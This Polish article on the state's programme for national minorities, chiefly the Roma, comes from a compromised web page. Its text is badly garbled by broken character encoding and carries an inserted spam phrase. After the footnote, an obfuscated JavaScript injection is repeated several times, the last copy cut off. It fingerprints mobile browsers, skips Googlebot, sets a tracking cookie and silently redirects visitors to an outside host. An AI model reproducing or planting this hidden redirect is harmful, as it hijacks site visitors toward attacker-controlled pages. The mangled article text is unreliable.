wspA?Ai??przewodniczAi??cych ai??i?? jeden reprezentuje rzAi??d, drugi ai??i?? mniejszoAi??ci. Pierwszym wspA?Ai??przewodniczAi??cym ze strony mniejszoAi??ciowej byAi?? przedstawiciel mniejszoAi??ci ukraiAi??skiej, kolejnym przedstawiciel Ormian, obecnie funkcjAi?? tAi?? peAi??ni reprezentant spoAi??ecznoAi??ci kaszubskiej. WspA?Ai??przewodniczAi??cym ze strony rzAi??dowej jest sekretarz stanu w Ministerstwie Spraw WewnAi??trznych i Administracji. Ministerstwo to zapewnia takA?e obsAi??ugAi?? Komisji WspA?lnej.

W skAi??ad Komisji WspA?lnej wchodzi ZespA?Ai?? do Spraw Romskich, ktA?rego czAi??onkami jest 22 przedstawicieli mniejszoAi??ci romskiej oraz bAi??dAi??cy w tym ciele w zdecydowanej mniejszoAi??ci przedstawiciele administracji rzAi??dowej. MoA?na by zapytaAi??, dlaczego ZespA?Ai?? do Spraw Romskich jest jedynym funkcjonujAi??cym zespoAi??em roboczym Komisji WspA?lnej? OdpowiedA? kryje siAi?? w sytuacji RomA?w. Jest to jedyna mniejszoAi??Ai??, ktA?rej poAi??oA?enie odbiega i to, niestety, zdecydowanie negatywnie, od sytuacji caAi??ego spoAi??eczeAi??stwa. Polska wziAi??Ai??a na siebie dwa obowiAi??zki wzglAi??dem mniejszoAi??ci narodowych i etnicznych oraz spoAi??ecznoAi??ci kaszubskiej. Pierwszy, to pomoc w zachowaniu ich toA?samoAi??ci oraz jAi??zyka, drugi ai??i?? zapewnienie integracji obywatelskiej. Z tym tylko, A?e w tym pierwszym przypadku dziaAi??ania muszAi?? byAi?? podejmowane wobec wszystkich mniejszoAi??ci. W drugim przypadku istnieje potrzeba podejmowania dziaAi??aAi?? jedynie na rzecz mniejszoAi??ci romskiej.

Wspomniane dziaAi??ania prowadzone sAi?? od 9 lat. PoczAi??tkowo jedynie w kilku powiatach, w ramach ai??zPilotaA?owego programu rzAi??dowego na rzecz spoAi??ecznoAi??ci romskiej w wojewA?dztwie maAi??opolskim na lata 2001-2003ai???, a od 2004 r. w ramach ai??zProgramu na rzecz spoAi??ecznoAi??ci romskiej w Polsceai???.

Podejmowane w ramach ai??zProgramuai??? dziaAi??ania majAi?? charakter kompleksowy. ObejmujAi?? zadania z zakresu edukacji, poprawy sytuacji bytowej iAi??socjalnej, zdrowia, przeciwdziaAi??ania bezrobociu, bezpieczeAi??stwa, kultury, upowszechniania wiedzy o spoAi??ecznoAi??ci romskiej orazAi??edukacji obywatelskiej RomA?w. Koordynatorem ai??zProgramuai??? jest Minister Spraw WewnAi??trznych i Administracji, a jego uczestnikami przede wszystkim jednostki samorzAi??du terytorialnego oraz romskieAi??organizacje pozarzAi??dowe.

Asrodki przeznaczone na finansowanie ai??zProgramuai??? pochodzAi?? gAi??A?wnie z rezerwy celowej, pozostajAi??cej w dyspozycji Ministra Spraw WewnAi??trznych i Administracji. W 2004 r. na realizacjAi?? ai??zProgramuai??? zAi??oA?yAi??y siAi?? 304 zadania realizowane przez 109Ai??podmiotA?w, a w 2008 r. 627 zadaAi?? zostaAi??o zrealizowane przez 207 podmiotA?w. W latach 2001-2008 w dziaAi??ania prowadzone w ramach obu ai??zProgramA?wai??? zaangaA?owano Ai??rodki budA?etowe w wysokoAi??ci prawie 45 mln zAi??. estrace reviews Ponadto, pod koniec 2008 r. uruchomiony zostaAi?? tzw. komponent romski ai??zProgramu Operacyjnego KapitaAi?? Ludzkiai???, w ramach ktA?rego od bieA?Ai??cego roku finansowane sAi?? dodatkowe zadania na rzecz mniejszoAi??ci romskiej.

W ramach wspomnianego ai??zProgramuai??? za najwaA?niejszAi?? uznano edukacjAi?? ai??i?? w tej teA? dziedzinie osiAi??gane sAi?? najwiAi??ksze sukcesy. DziAi??ki pracy asystentA?w edukacji romskiej i nauczycieli wspomagajAi??cych ich edukacjAi?? oraz dziaAi??alnoAi??ci Ai??wietlic Ai??rodowiskowych znacznie zwiAi??kszyAi??a siAi?? liczba dzieci realizujAi??cych obowiAi??zek szkolny. PoprawiAi??y siAi?? takA?e ich frekwencja w szkole oraz wyniki nauczania. WaA?ne pozostajAi?? zadania inwestycyjne zmierzajAi??ce do poprawy sytuacji mieszkaniowej i sanitarnej, polegajAi??ce na remontach i wsparciu budownictwa mieszkaniowego, podAi??Ai??czeniu mieszkaAi?? do kanalizacji iAi??wodociAi??gA?w, udostAi??pnieniu bieA?Ai??cej wody oraz energii elektrycznej. DziaAi??ania majAi??ce na celu szeroko rozumianAi?? profilaktykAi?? zdrowotnAi?? realizowane byAi??y gAi??A?wnie przez zatrudnianie pielAi??gniarek Ai??rodowiskowych, badaAi?? profilaktycznych i szczepieAi?? ochronnych oraz organizacjAi?? tzw. biaAi??ych dni. W celu aktywizacji zawodowej spoAi??ecznoAi??ci romskiej podjAi??to dziaAi??ania majAi??ce na celu utworzenie nowych miejsc pracy i zatrudnienie osA?b pochodzenia romskiego, rA?wnieA? przez subsydiowanie miejsc pracy, szkolenia oraz poradnictwo zawodowe. Ze Ai??rodkA?w ai??zProgramuai??? finansowane sAi?? rA?wnieA? Centra Porad Obywatelskich, wsparcie organizacyjne i techniczne dla organizacji romskich, spotkania konsultacyjne z udziaAi??em RomA?w, lokalnych wAi??adz, organizacji pozarzAi??dowych, straA?y gminnych i policji.

W trakcie wspomnianego na poczAi??tku posiedzenia Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ jego czAi??onkowie interesowali siAi?? gAi??A?wnie dziaAi??aniami podejmowanymi przez paAi??stwo w celu poprawy sytuacji RomA?w. Ale padaAi??y teA? pytania o KaszubA?w i KaraimA?w. I choAi?? tych ostatnich jest, w Ai??wietle ostatniego spisu powszechnego, zaledwie czterdzieAi??ci troje, nie umniejsza to obowiAi??zkA?w paAi??stwa wobec nich. A moA?e nawet powoduje, A?e stajAi?? siAi?? one szczegA?lnie doniosAi??e.

DobiesAi??aw Rzemieniewski, ur. 1962; absolwent WydziaAi??u Historii na Uniwersytecie Warszawskim, dziennikarz, dyplomata; naczelnik WydziaAi??u MniejszoAi??ci Narodowych i Etnicznych w MSWiA; czAi??onek Komisji WspA?lnej RzAi??du i MniejszoAi??ci Narodowych i Etnicznych; autor publikacji nt. praw mniejszoAi??ci narodowych i Europy Wschodniej.


[1] Dane dotyczAi??ce liczebnoAi??ci mniejszoAi??ci podano na podstawie wynikA?w narodowego spisu powszechnego ludnoAi??ci i mieszkaAi?? z 2002 r.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 